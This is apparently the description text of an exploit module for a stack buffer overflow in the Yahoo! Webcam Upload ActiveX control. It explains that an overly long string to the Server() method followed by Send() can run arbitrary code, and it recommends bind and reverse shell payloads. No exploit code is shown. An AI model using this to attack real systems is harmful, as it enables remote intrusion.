          This module exploits a stack buffer overflow in the Yahoo! Webcam Upload ActiveX

        By sending an overly long string to the "Server()" method, and then calling
        the "Send()" method, an attacker may be able to execute arbitrary code.
        Using the payloads "windows/shell_bind_tcp" and "windows/shell_reverse_tcp"
        yield for the best results.
